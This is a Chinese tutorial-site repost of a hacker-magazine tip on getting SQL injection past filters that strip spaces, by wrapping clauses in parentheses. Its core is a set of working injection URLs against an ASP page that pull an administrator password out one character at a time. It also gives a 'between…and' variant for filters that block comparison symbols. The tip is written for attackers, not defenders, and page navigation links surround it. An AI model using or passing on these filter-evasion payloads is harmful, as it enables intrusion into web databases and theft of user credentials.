突破空格的限制

linzi44944

linzi44944

2016-02-19 11:11

关注图老师设计创意栏目可以让大家能更好的了解电脑,知道有关于电脑的更多有趣教程,今天给大家分享突破空格的限制教程,希望对大家能有一点小小的帮助。
关于空格,有许多替换方式,比如TAB空格,SQL数据库中的/**/,但我又找到了另一种替换方式,已发表于《黑客手册》2006.7期中,这里挑其精华,现一下吧!

对于SQL语句,大家还都习惯于其的空格,比如select id from [name],如果中间没有了空格,那就成了selectidfrom[name], 一滩糊涂!除了上面所说到几个空格的替代方法外,我发现用()括号在SQL中一样可以运行,比如上面的语句,就可以写成,select(id)from[name],有括号分隔,可以正常执行。
举个例 子说一下,我们得到一个注入点:jmdcw.asp?name=aa'and 1=1 and ''=',如果替换其中的1=1为查询管理员的密码的语句:(select asc(mid(pass,1,1)) from [name] where id=1)49。如何用空格呢?其实可以写成这样的:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))49)and''='
如果屏蔽了和符号,则用between…and…,语句是:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='

对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?

呵呵,总结一下,和LOVESHELL上的朋友分享一下。 
展开更多 50%)
分享

猜你喜欢

突破空格的限制

Web开发
突破空格的限制

突破PowerPoint的20次可撤销限制

电脑入门
突破PowerPoint的20次可撤销限制

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

突破PowerPoint 20次撤销限制

办公软件
突破PowerPoint 20次撤销限制

突破IIS文件大小限制

电脑网络
突破IIS文件大小限制

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

突破PowerPoint20次撤销限制

办公软件
突破PowerPoint20次撤销限制

Diskpart命令突破系统安装分区限制

服务器
Diskpart命令突破系统安装分区限制

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

jsp Hibernate 函数简介

jsp Hibernate 函数简介

比较详细的完美解决安装sql2000时出现以前的某个程序安装已在安装计算机上创建挂起的文件操作 <font color=red>原创</font>

比较详细的完美解决安装sql2000时出现以前的某个程序安装已在安装计算机上创建挂起的文件操作 <font color=red>原创</font>
下拉加载更多内容 ↓